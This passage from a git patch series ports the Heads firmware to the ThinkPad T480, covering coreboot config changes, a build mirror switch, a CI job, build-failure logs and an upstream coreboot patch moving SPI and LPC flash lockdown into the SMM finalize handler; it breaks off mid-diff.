From: Thierry Laurion Date: Tue, 11 Feb 2025 10:15:15 -0500 Subject: [PATCH 13/50] config/coreboot-t480.config: adapt from config/coreboot-librem_15v4.config and config/coreboot-novacustom-nv4x_adl.config Then saved back in oldconfig with ./docker_repro.sh make BOARD=t480-maximized coreboot.modify_and_save_oldconfig_in_place Notes: - Pr0 requirements don't stick, investigate - real quick overview of config, just rying to get thing build here Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 8f61a2b08..9fae95be2 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -10,7 +10,7 @@ CONFIG_LOCALVERSION="" CONFIG_CBFS_PREFIX="fallback" CONFIG_COMPILER_GCC=y # CONFIG_COMPILER_LLVM_CLANG is not set -CONFIG_ANY_TOOLCHAIN=y +# CONFIG_ANY_TOOLCHAIN is not set # CONFIG_CCACHE is not set # CONFIG_LTO is not set # CONFIG_IWYU is not set @@ -33,7 +33,12 @@ CONFIG_HAVE_ASAN_IN_RAMSTAGE=y # CONFIG_NO_STAGE_CACHE is not set CONFIG_TSEG_STAGE_CACHE=y # CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set +CONFIG_BOOTSPLASH_IMAGE=y +CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" +CONFIG_BOOTSPLASH_CONVERT=y +CONFIG_BOOTSPLASH_CONVERT_QUALITY=90 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set # # Software Bill Of Materials (SBOM) @@ -172,6 +177,9 @@ CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y # CONFIG_DEBUG_SMI is not set # CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PCIEXP_HOTPLUG_BUSES=8 +CONFIG_PCIEXP_HOTPLUG_MEM=0x800000 +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM=0x10000000 # CONFIG_BOARD_LENOVO_THINKPAD_T440P is not set # CONFIG_BOARD_LENOVO_THINKPAD_W541 is not set # CONFIG_BOARD_LENOVO_L520 is not set @@ -478,7 +486,7 @@ CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS=y # # Southbridge # -# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y @@ -572,7 +580,7 @@ CONFIG_NO_EARLY_GFX_INIT=y # CONFIG_VGA_TEXT_FRAMEBUFFER is not set CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y CONFIG_LINEAR_FRAMEBUFFER=y -# CONFIG_BOOTSPLASH is not set +CONFIG_BOOTSPLASH=y CONFIG_DEFAULT_SCREEN_ROTATION_NONE=y # CONFIG_DEFAULT_SCREEN_ROTATION_90 is not set # CONFIG_DEFAULT_SCREEN_ROTATION_180 is not set @@ -591,6 +599,9 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y +# CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set +CONFIG_PCIEXP_HOTPLUG_IO=0x800 # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 From bdb09c6449251bda75fa312b33e299368bc3bdd1 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 10:48:52 -0500 Subject: [PATCH 14/50] bin/fetch_coreboot_crossgcc_archive.sh: change acpica default PFG_BASEURL to use one of libreboot web mirror Signed-off-by: Thierry Laurion --- bin/fetch_coreboot_crossgcc_archive.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bin/fetch_coreboot_crossgcc_archive.sh b/bin/fetch_coreboot_crossgcc_archive.sh index 58ba0c467..f9ff04c49 100755 --- a/bin/fetch_coreboot_crossgcc_archive.sh +++ b/bin/fetch_coreboot_crossgcc_archive.sh @@ -105,7 +105,7 @@ case "$PKG_NAME" in acpica) # Original acpica sources are gone. Most of the older releases # can be found here - PKG_BASEURL="https://distfiles.macports.org/acpica/" + PKG_BASEURL="https://mirror.math.princeton.edu/pub/libreboot/misc/acpica/" # Version 20220331 (currently used by talos_2) isn't there, but # there is an old link from Intel that is still up. This is # specific to this release. From 6176f6c08fa633f31541a264e2c4d72e9037eb9f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:13:14 -0500 Subject: [PATCH 15/50] modules/coreboot: t480; state its based on 24.12, do not reuse coreboot 24.02 buildstack) Signed-off-by: Thierry Laurion --- modules/coreboot | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/coreboot b/modules/coreboot index 7de21fb43..be27e9c9a 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -98,10 +98,11 @@ coreboot-dasharo_commit_hash := 94e5f5d5b808cf8d8fd5c70d4ef6a08a054f8986 $(eval $(call coreboot_module,dasharo,24.02.01)) #coreboot-dasharo_patch_version := unreleased -# T480 may or may not need a specific coreboot rev since it may or may not yet be yet included in the release referenced above +# T480 is based on coreboot ~24.12 release (TODO: verify) coreboot-t480_repo := https://review.coreboot.org/coreboot.git coreboot-t480_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a -$(eval $(call coreboot_module,t480,24.02.01)) +#Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 +$(eval $(call coreboot_module,t480,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" From 44b4d6a2acacc9541af2007ad24dbf902e48300a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:14:55 -0500 Subject: [PATCH 16/50] config/coreboot-t480.config: change Dsp_*.fd paths to non-existing files in tree as per http://web.archive.org/web/20250211155526/https://notgivenby.github.io/heads-wiki/t480-port/#coreboot-config-for-t480 : No joy building, but will dump progress for others to pickup Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 9fae95be2..54df38277 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -276,8 +276,8 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # SoC # CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="@BLOB_DIR@/t480/Fsp_M.fd" -CONFIG_FSP_S_FILE="@BLOB_DIR@/t480/Fsp_S.fd" +CONFIG_FSP_M_FILE="../../../vendorfiles/kabylake/Fsp_M.fd" +CONFIG_FSP_S_FILE="../../../vendorfiles/kabylake/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 From 4310d89fb8671fb9398f461eba617e15273bb6f4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 11:15:49 -0500 Subject: [PATCH 17/50] CircleCI: add t480 without reusing any other cache then muslc-cross-make first layer Will fail at Updating git submodules. payloads/external/Makefile.mk:399: "Using host toolchain to build Linuxboot" GEN build.h IFDTOOL -p sklkbl -F t480-maximized/fmap-template.fmd ../../../blobs/t480/ifd_16 HOSTCC cbfstool/fmd_parser.o HOSTCC cbfstool/fmd_scanner.o make[1]: *** No rule to make target '../../../vendorfiles/kabylake/Fsp_M.fd', needed by 't480-maximized/coreboot.pre'. Stop. make[1]: *** Waiting for unfinished jobs.... File ../../../blobs/t480/ifd_16 is 4096 bytes Wrote layout to t480-maximized/fmap-template.fmd Signed-off-by: Thierry Laurion --- .circleci/config.yml | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/.circleci/config.yml b/.circleci/config.yml index 6ff83e202..d85279e3e 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -510,6 +510,14 @@ workflows: requires: - librem_14 + # t480 is based on 24.12 coreboot release, not sharing any buildstack from now, depend on muscl-cross cache + - build: + name: t480-maximized + target: t480-maximized + subcommand: "" + requires: + - x86-musl-cross-make + # dasharo release, share 24.02.01 utils/crossgcc - build: name: UNTESTED_nitropad-ns50 From d666b8115091572660cbf1dc5678d333d8dd0def Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 13:32:50 -0500 Subject: [PATCH 18/50] config/coreboot-t480.config: Set CONFIG_FSP_FULL_FD=y so that vendorfiles exist For repro: - To remove all files created by patches (would error to help dev remove them manually) - echo "bogus" | tee build/x86/coreboot-t480/.canary - sudo rm -rf build/x86/coreboot-t480/src/mainboard/lenovo/sklkbl_thinkpad/variants/t480* - sudo rm build/x86/libgpg-error-1.46/src/syscfg/lock-obj-pub.powerpc64le-unknown-linux-musl.h - Remove all .canary files, outside of detected git forks to speedup local builds, rebuilding only new files with make magic - ./docker_repro.sh make BOARD=t480-maximized real.remove_canary_files-extract_patch_rebuild_what_changed - Rebuild from sources: unpack archives/git clone, patch, build from source - ./docker_repro.sh make BOARD=t480-maximized Signed-off-by: Thierry Laurion --- config/coreboot-t480.config | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/config/coreboot-t480.config b/config/coreboot-t480.config index 54df38277..0ad6af739 100644 --- a/config/coreboot-t480.config +++ b/config/coreboot-t480.config @@ -276,8 +276,8 @@ CONFIG_SYSTEM_TYPE_LAPTOP=y # SoC # CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" -CONFIG_FSP_M_FILE="../../../vendorfiles/kabylake/Fsp_M.fd" -CONFIG_FSP_S_FILE="../../../vendorfiles/kabylake/Fsp_S.fd" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" CONFIG_CBFS_MCACHE_SIZE=0x4000 CONFIG_ROMSTAGE_ADDR=0x2000000 CONFIG_VERSTAGE_ADDR=0x2000000 @@ -649,7 +649,7 @@ CONFIG_HAVE_INTEL_FSP_REPO=y CONFIG_ADD_FSP_BINARIES=y CONFIG_FSP_S_CBFS="fsps.bin" CONFIG_FSP_M_CBFS="fspm.bin" -# CONFIG_FSP_FULL_FD is not set +CONFIG_FSP_FULL_FD=y CONFIG_FSP_T_RESERVED_SIZE=0x0 CONFIG_FSP_M_XIP=y CONFIG_HAVE_FSP_LOGO_SUPPORT=y From 7f673d4882d6e1734c12e363be851b0c72ec6ec3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 11 Feb 2025 13:58:19 -0500 Subject: [PATCH 19/50] patches/coreboot-t480/85278-post-skylake-pr0.patch: add unmerged upstream PR0 patchset https://review.coreboot.org/c/coreboot/+/85278 Repro: git fetch https://review.coreboot.org/coreboot refs/changes/78/85278/3 && git format-patch -1 --stdout FETCH_HEAD > patches/coreboot-t480/85278-post-skylake-pr0.patch Unfortunately Applying patch file : patches/coreboot-t480/85278-post-skylake-pr0.patch Checking patch build/x86/coreboot-t480/src/soc/intel/alderlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/cannonlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/block/lpc/Makefile.mk... Checking patch build/x86/coreboot-t480/src/soc/intel/common/block/smm/smihandler.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/include/intelpch/lockdown.h... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Kconfig... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Makefile.mk... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_lpc.c... Checking patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_spi.c... Checking patch build/x86/coreboot-t480/src/soc/intel/denverton_ns/lpc.c... Checking patch build/x86/coreboot-t480/src/soc/intel/elkhartlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/jasperlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/meteorlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/pantherlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/skylake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/tigerlake/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/finalize.c... Checking patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c... error: while searching for: static void lpc_lockdown_config(void) { /* Set BIOS Interface Lock, BIOS Lock */ lpc_set_bios_interface_lock_down(); /* Only allow writes in SMM */ if (CONFIG(BOOTMEDIA_SMM_BWP)) { lpc_set_eiss(); lpc_enable_wp(); } lpc_set_lock_enable(); } void soc_lockdown_config(int chipset_lockdown) { if (chipset_lockdown == CHIPSET_LOCKDOWN_FSP) return; lpc_lockdown_config(); pmc_lockdown_config(); sata_lockdown_config(chipset_lockdown); spi_lockdown_config(chipset_lockdown); error: patch failed: build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c:6 Applied patch build/x86/coreboot-t480/src/soc/intel/alderlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/cannonlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/block/lpc/Makefile.mk cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/block/smm/smihandler.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/include/intelpch/lockdown.h cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Kconfig cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/Makefile.mk cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_lpc.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/common/pch/lockdown/lockdown_spi.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/denverton_ns/lpc.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/elkhartlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/jasperlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/meteorlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/pantherlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/skylake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/tigerlake/finalize.c cleanly. Applied patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/finalize.c cleanly. Applying patch build/x86/coreboot-t480/src/soc/intel/xeon_sp/lockdown.c with 1 reject... Rejected hunk #1. make: *** [Makefile:570: /home/user/heads/build/x86/coreboot-t480/.canary] Error 1 Will have to edit patch Signed-off-by: Thierry Laurion --- .../85278-post-skylake-pr0.patch | 477 ++++++++++++++++++ 1 file changed, 477 insertions(+) create mode 100644 patches/coreboot-t480/85278-post-skylake-pr0.patch diff --git a/patches/coreboot-t480/85278-post-skylake-pr0.patch b/patches/coreboot-t480/85278-post-skylake-pr0.patch new file mode 100644 index 000000000..c8e4cd251 --- /dev/null +++ b/patches/coreboot-t480/85278-post-skylake-pr0.patch @@ -0,0 +1,477 @@ +From f9f309190246c66e92db5408c183dd8b617987f3 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Micha=C5=82=20=C5=BBygowski?= +Date: Sat, 23 Nov 2024 22:43:10 +0100 +Subject: [PATCH] soc/intel/lockdown: Allow locking down SPI and LPC in SMM +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Heads payload uses APM_CNT_FINALIZE SMI to set and lock down the SPI +controller with PR0 flash protection for pre-Skylake platforms. + +Add new option to skip LPC and FAST SPI lock down in coreboot and move +it to APM_CNT_FINALIZE SMI handler. Reuse the INTEL_CHIPSET_LOCKDOWN +option to prevent issuing APM_CNT_FINALIZE SMI on normal boot path, +like it was done on pre-Skylake platforms. As the locking on modern +SOCs became more complicated, separate the SPI and LPC locking into +new modules to make linking to SMM easier. + +The expected configuration to leverage the feautre is to unselect +INTEL_CHIPSET_LOCKDOWN and select SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM. + +Testing various microarchitectures happens on heads repository: +https://github.com/linuxboot/heads/pull/1818 + +TEST=Lock the SPI flash using APM_CNT_FINALIZE in heads on Alder Lake +(Protectli VP66xx) and Comet Lake (Protectli VP46xx) platforms. Check +if flash is unlocked in the heads recovery console. Check if flash is +locked in the kexec'ed OS. + +Change-Id: Icbcc6fcde90e5b0a999aacb720e2e3dc2748c838 +Signed-off-by: MichaÅ‚ Å»ygowski +--- + src/soc/intel/alderlake/finalize.c | 4 +- + src/soc/intel/cannonlake/finalize.c | 4 +- + src/soc/intel/common/block/lpc/Makefile.mk | 4 ++ + src/soc/intel/common/block/smm/smihandler.c | 10 ++++ + .../common/pch/include/intelpch/lockdown.h | 3 ++ + src/soc/intel/common/pch/lockdown/Kconfig | 15 ++++++ + src/soc/intel/common/pch/lockdown/Makefile.mk | 5 ++ + src/soc/intel/common/pch/lockdown/lockdown.c | 48 ++----------------- + .../intel/common/pch/lockdown/lockdown_lpc.c | 23 +++++++++ + .../intel/common/pch/lockdown/lockdown_spi.c | 32 +++++++++++++ + src/soc/intel/denverton_ns/lpc.c | 3 +- + src/soc/intel/elkhartlake/finalize.c | 4 +- + src/soc/intel/jasperlake/finalize.c | 3 +- + src/soc/intel/meteorlake/finalize.c | 4 +- + src/soc/intel/pantherlake/finalize.c | 4 +- + src/soc/intel/skylake/finalize.c | 3 +- + src/soc/intel/tigerlake/finalize.c | 4 +- + src/soc/intel/xeon_sp/finalize.c | 3 +- + src/soc/intel/xeon_sp/lockdown.c | 18 ++----- + 19 files changed, 127 insertions(+), 67 deletions(-) + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_lpc.c + create mode 100644 src/soc/intel/common/pch/lockdown/lockdown_spi.c + +diff --git a/src/soc/intel/alderlake/finalize.c b/src/soc/intel/alderlake/finalize.c +index 700fde977b..615729d3dd 100644 +--- a/src/soc/intel/alderlake/finalize.c ++++ b/src/soc/intel/alderlake/finalize.c +@@ -85,7 +85,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + tbt_finalize(); + if (CONFIG(USE_FSP_NOTIFY_PHASE_READY_TO_BOOT) && + CONFIG(USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE)) +diff --git a/src/soc/intel/cannonlake/finalize.c b/src/soc/intel/cannonlake/finalize.c +index 974794bd97..461ba3a884 100644 +--- a/src/soc/intel/cannonlake/finalize.c ++++ b/src/soc/intel/cannonlake/finalize.c +@@ -87,7 +87,9 @@ static void soc_finalize(void *unused) + printk(BIOS_DEBUG, "Finalizing chipset.\n"); + + pch_finalize(); +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); ++ + if (CONFIG(DISABLE_HECI1_AT_PRE_BOOT) && + CONFIG(SOC_INTEL_COMMON_BLOCK_HECI1_DISABLE_USING_PMC_IPC)) + heci1_disable(); +diff --git a/src/soc/intel/common/block/lpc/Makefile.mk b/src/soc/intel/common/block/lpc/Makefile.mk +index b510cd0ec3..60792654b5 100644 +--- a/src/soc/intel/common/block/lpc/Makefile.mk ++++ b/src/soc/intel/common/block/lpc/Makefile.mk +@@ -5,3 +5,7 @@ romstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c + ramstage-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc.c ++ ++ifeq ($(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM),y) ++smm-$(CONFIG_SOC_INTEL_COMMON_BLOCK_LPC) += lpc_lib.c ++endif +diff --git a/src/soc/intel/common/block/smm/smihandler.c b/src/soc/intel/common/block/smm/smihandler.c +index 59489a4f03..2a1f26d2eb 100644 +--- a/src/soc/intel/common/block/smm/smihandler.c ++++ b/src/soc/intel/common/block/smm/smihandler.c +@@ -14,12 +14,14 @@ + #include + #include + #include ++#include + #include + #include + #include + #include + #include + #include ++#include + #include + #include + #include +@@ -345,6 +347,14 @@ static void finalize(void) + } + finalize_done = 1; + ++ if (CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) { ++ /* SPI lock down configuration */ ++ fast_spi_lockdown_bios(CHIPSET_LOCKDOWN_COREBOOT); ++ ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(CHIPSET_LOCKDOWN_COREBOOT); ++ } ++ + if (CONFIG(SPI_FLASH_SMM)) + /* Re-init SPI driver to handle locked BAR */ + fast_spi_init(); +diff --git a/src/soc/intel/common/pch/include/intelpch/lockdown.h b/src/soc/intel/common/pch/include/intelpch/lockdown.h +index b5aba06fe0..1b96f41a2a 100644 +--- a/src/soc/intel/common/pch/include/intelpch/lockdown.h ++++ b/src/soc/intel/common/pch/include/intelpch/lockdown.h +@@ -22,4 +22,7 @@ int get_lockdown_config(void); + */ + void soc_lockdown_config(int chipset_lockdown); + ++void fast_spi_lockdown_bios(int chipset_lockdown); ++void lpc_lockdown_config(int chipset_lockdown); ++ + #endif /* SOC_INTEL_COMMON_PCH_LOCKDOWN_H */ +diff --git a/src/soc/intel/common/pch/lockdown/Kconfig b/src/soc/intel/common/pch/lockdown/Kconfig +index 38f60d2056..545185c52f 100644 +--- a/src/soc/intel/common/pch/lockdown/Kconfig ++++ b/src/soc/intel/common/pch/lockdown/Kconfig +@@ -3,7 +3,22 @@ + config SOC_INTEL_COMMON_PCH_LOCKDOWN + bool + default n ++ select HAVE_INTEL_CHIPSET_LOCKDOWN + help + This option allows to have chipset lockdown for DMI, FAST_SPI and + soc_lockdown_config() to implement any additional lockdown as PMC, + LPC for supported PCH. ++ ++config SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM ++ bool "Lock down SPI controller in SMM" ++ default n ++ depends on HAVE_SMI_HANDLER && !INTEL_CHIPSET_LOCKDOWN ++ select SPI_FLASH_SMM ++ help ++ This option allows to have chipset lockdown for FAST_SPI and LPC for ++ supported PCH. If selected, coreboot will skip locking down the SPI ++ and LPC controller. The payload or OS is responsible for locking it ++ using APM_CNT_FINALIZE SMI. Used by heads to set and lock PR0 flash ++ protection. ++ ++ If unsure, say N. +diff --git a/src/soc/intel/common/pch/lockdown/Makefile.mk b/src/soc/intel/common/pch/lockdown/Makefile.mk +index 71466f8edd..64aad562ac 100644 +--- a/src/soc/intel/common/pch/lockdown/Makefile.mk ++++ b/src/soc/intel/common/pch/lockdown/Makefile.mk +@@ -1,2 +1,7 @@ + ## SPDX-License-Identifier: GPL-2.0-only + ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_lpc.c ++ramstage-$(CONFIG_SOC_INTEL_COMMON_PCH_LOCKDOWN) += lockdown_spi.c ++ ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_lpc.c ++smm-$(CONFIG_SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM) += lockdown_spi.c +diff --git a/src/soc/intel/common/pch/lockdown/lockdown.c b/src/soc/intel/common/pch/lockdown/lockdown.c +index eec3beb01b..2d229e1a90 100644 +--- a/src/soc/intel/common/pch/lockdown/lockdown.c ++++ b/src/soc/intel/common/pch/lockdown/lockdown.c +@@ -60,56 +60,17 @@ static void fast_spi_lockdown_cfg(int chipset_lockdown) + /* Set FAST_SPI opcode menu */ + fast_spi_set_opcode_menu(); + +- /* Discrete Lock Flash PR registers */ +- fast_spi_pr_dlock(); +- + /* Check if SPI transaction is pending */ + fast_spi_cycle_in_progress(); + + /* Clear any outstanding status bits like AEL, FCERR, FDONE, SAF etc. */ + fast_spi_clear_outstanding_status(); + +- /* Lock FAST_SPIBAR */ +- fast_spi_lock_bar(); +- + /* Set Vendor Component Lock (VCL) */ + fast_spi_vscc0_lock(); + +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- fast_spi_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- fast_spi_set_eiss(); +- fast_spi_enable_wp(); +- } +- +- /* BIOS Lock */ +- fast_spi_set_lock_enable(); +- +- /* EXT BIOS Lock */ +- fast_spi_set_ext_bios_lock_enable(); +- } +-} +- +-static void lpc_lockdown_config(int chipset_lockdown) +-{ +- /* Set BIOS Interface Lock, BIOS Lock */ +- if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { +- /* BIOS Interface Lock */ +- lpc_set_bios_interface_lock_down(); +- +- /* Only allow writes in SMM */ +- if (CONFIG(BOOTMEDIA_SMM_BWP)) { +- lpc_set_eiss(); +- lpc_enable_wp(); +- } +- +- /* BIOS Lock */ +- lpc_set_lock_enable(); +- } ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ fast_spi_lockdown_bios(chipset_lockdown); + } + + static void sa_lockdown_config(int chipset_lockdown) +@@ -135,8 +96,9 @@ static void platform_lockdown_config(void *unused) + /* SPI lock down configuration */ + fast_spi_lockdown_cfg(chipset_lockdown); + +- /* LPC/eSPI lock down configuration */ +- lpc_lockdown_config(chipset_lockdown); ++ if (!CONFIG(SOC_INTEL_COMMON_SPI_LOCKDOWN_SMM)) ++ /* LPC/eSPI lock down configuration */ ++ lpc_lockdown_config(chipset_lockdown); + + /* GPMR lock down configuration */ + gpmr_lockdown_cfg(); +diff --git a/src/soc/intel/common/pch/lockdown/lockdown_lpc.c b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +new file mode 100644 +index 0000000000..69278ea343 +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_lpc.c +@@ -0,0 +1,23 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void lpc_lockdown_config(int chipset_lockdown) ++{ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ lpc_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ lpc_set_eiss(); ++ lpc_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ lpc_set_lock_enable(); ++ } ++} +diff --git a/src/soc/intel/common/pch/lockdown/lockdown_spi.c b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +new file mode 100644 +index 0000000000..8dbe93013e +--- /dev/null ++++ b/src/soc/intel/common/pch/lockdown/lockdown_spi.c +@@ -0,0 +1,32 @@ ++/* SPDX-License-Identifier: GPL-2.0-only */ ++ ++#include ++#include ++#include ++ ++void fast_spi_lockdown_bios(int chipset_lockdown) ++{ ++ /* Discrete Lock Flash PR registers */ ++ fast_spi_pr_dlock(); ++ ++ /* Lock FAST_SPIBAR */ ++ fast_spi_lock_bar(); ++ ++ /* Set BIOS Interface Lock, BIOS Lock */ ++ if (chipset_lockdown == CHIPSET_LOCKDOWN_COREBOOT) { ++ /* BIOS Interface Lock */ ++ fast_spi_set_bios_interface_lock_down(); ++ ++ /* Only allow writes in SMM */ ++ if (CONFIG(BOOTMEDIA_SMM_BWP)) { ++ fast_spi_set_eiss(); ++ fast_spi_enable_wp(); ++ } ++ ++ /* BIOS Lock */ ++ fast_spi_set_lock_enable(); ++ ++ /* EXT BIOS Lock */ ++ fast_spi_set_ext_bios_lock_enable(); ++ } ++} +diff --git a/src/soc/intel/denverton_ns/lpc.c b/src/soc/intel/denverton_ns/lpc.c +index 7dc971ea92..c4f7681c62 100644 +--- a/src/soc/intel/denverton_ns/lpc.c ++++ b/src/soc/intel/denverton_ns/lpc.c +@@ -536,7 +536,8 @@ static const struct pci_driver lpc_driver __pci_driver = { + + static void finalize_chipset(void *unused) + { +- apm_control(APM_CNT_FINALIZE); ++ if (CONFIG(INTEL_CHIPSET_LOCKDOWN) || acpi_is_wakeup_s3()) ++ apm_control(APM_CNT_FINALIZE); + } + + BOOT_STATE_INIT_ENTRY(BS_OS_RESUME, BS_ON_ENTRY, finalize_chipset, NULL); +diff --git a/src/soc/intel/elkhartlake/finalize.c 